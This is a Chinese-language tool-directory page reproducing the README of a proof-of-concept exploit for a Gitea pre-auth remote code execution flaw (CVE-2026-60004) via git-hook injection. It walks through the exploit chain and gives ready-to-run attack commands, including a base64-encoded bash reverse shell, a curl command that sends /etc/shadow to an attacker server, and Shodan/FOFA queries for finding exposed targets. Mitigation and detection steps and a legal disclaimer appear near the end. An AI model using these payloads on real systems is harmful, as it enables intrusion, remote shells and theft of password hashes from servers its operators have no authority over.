Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/imbas007/cve-2026-60004-poc
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubimbas007/cve-2026-60004-poc

CVE-2026-60004-POC

CVE-2026-60004 预认证 RCE 漏洞利用 — Gitea <= 1.27.0 diffpatch git hook 注入 (CVSS 9.8)

查看仓库
11441个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-60004 — Gitea 预认证远程代码执行(CVSS 9.8)

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  CVE-2026-60004  │  Gitea Pre-Auth RCE  │  CVSS 9.8 (CRIT)   │
│  diffpatch → git hook injection  │  v1.17–1.27.0 affected    │
└──────────────────────────────────────────────────────────────┘

📋 概述

属性详情
CVE IDCVE-2026-60004
CVSS 评分9.8(严重)
CWECWE-94(代码注入)
受影响版本Gitea 1.17 至 1.27.0
修复版本Gitea 1.27.1(2026 年 7 月 27 日发布)
受影响端点POST /api/v1/repos/{owner}/{repo}/diffpatch
发现者Shai Rod (NightRang3r)
EPSS 评分0.95(95% 被利用概率)

🔬 漏洞详情

该漏洞滥用了 Gitea 的 diffpatch API 端点处理用户提供的 Git 补丁的方式:

  1. 裸克隆陷阱 — 该端点会创建一个裸临时克隆(没有工作树),这意味着其根目录就是 $GIT_DIR。

  2. 补丁处理 — git apply 调用时带有以下标志:--index、--recount、--cached、--binary,以及(Git ≥ 2.32 时)用于三方合并回退的 -3。

  3. Add/Add 冲突 — 攻击者通过两次发送相同的恶意补丁触发 add/add 冲突。Git 的三方合并回退会将补丁中的文件路径写入磁盘,从而绕过 --cached 限制。

  4. 钩子注入 — 攻击者精心构造补丁,使文件路径为 hooks/post-index-change。由于克隆是裸克隆,该文件会直接落入 Git 的 hooks 目录。

  5. 代码执行 — 当 Git 更新索引时,会自动执行 post-index-change 钩子,以 Gitea 服务账户身份运行攻击者的 shell 命令。

利用链示意图

root@kitploit:~
Attacker                              Gitea Server
   │                                      │
   ├─ POST /user/sign_up ────────────────►│  Register new user
   │                                      │
   ├─ POST /api/v1/user/repos ───────────►│  Create private repo (auto-init)
   │                                      │
   ├─ GET /api/v1/repos/.../branches ────►│  Get commit SHA
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  1st patch: plant hook
   │                                      │  Git creates bare clone
   │                                      │  Applies patch (--cached)
   │                                      │
   ├─ POST /api/v1/repos/.../diffpatch ──►│  2nd patch: SAME PATCH
   │   (same exact patch!)                │  ADD/ADD COLLISION!
   │                                      │  Git -3 fallback writes to disk
   │                                      │  hooks/post-index-change created
   │                                      │  Git fires post-index-change hook!
   │                                      │  ┌─ Command executes ─┐
   │                                      │  │ reads /etc/passwd  │
   │                                      │  │ stores in git blob │
   │                                      │  │ creates rce-proof  │
   │                                      │  │ branch             │
   │                                      │  └────────────────────┘
   │                                      │
   ├─ GET /api/v1/repos/.../raw/proof ───►│  Retrieve output
   │◄─────────────────────────────────────┤  /etc/passwd contents
   │                                      │

🚀 快速开始

Python PoC (cve-2026-60004-poc.py)

root@kitploit:~
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required

# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"

# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto

# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
    --user myuser --pw 'MyPass123!'

# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
    --user myuser --pw 'MyPass123!' --repo existing-repo

# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
图片

自定义命令

root@kitploit:~
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "whoami; id; env"

# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "echo $PAYLOAD | base64 -d | bash"

# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
    --cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"

Nuclei 模板

root@kitploit:~
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000

# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt

# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v

🛡️ 缓解措施

立即采取的措施

  1. 将 Gitea 更新至 1.27.1 或更高版本:

    root@kitploit:~
    # Docker
    docker pull gitea/gitea:1.27.1
    # Binary
    wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
    
  2. 禁用开放注册(减少攻击面):

    root@kitploit:~
    # app.ini
    [service]
    DISABLE_REGISTRATION = true
    
  3. 使用最小权限服务账户运行 Gitea

  4. 监控对 diffpatch 端点的重复 POST 请求

检测查询

root@kitploit:~
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log

# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log

🔍 Shodan / FOFA 搜索语法

root@kitploit:~
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710

# FOFA
app="Gitea"
title="Gitea"

# Censys
services.software.product:"Gitea"

📚 参考链接

  • GitHub 安全公告(GHSA-rcr6-4jqh-j84m)
  • EQSTLab PoC 仓库
  • NVD 条目
  • ProjectDiscovery Nuclei 模板
  • Gitea 1.27.1 发布说明

⚠️ 免责声明

本工具仅供教育和授权安全测试目的使用。仅可对您拥有或已获得明确书面授权的系统进行测试。未经授权访问计算机系统属于违法行为,并可能违反:

  • 《计算机欺诈和滥用法案》(CFAA) — 美国
  • 《1990 年计算机滥用法案》— 英国
  • 其他司法管辖区的类似法律

作者不对因本工具被滥用或造成的损害承担任何责任。

📄 许可证

MIT 许可证 — 详情请参阅 EQSTLab 仓库。

下载工具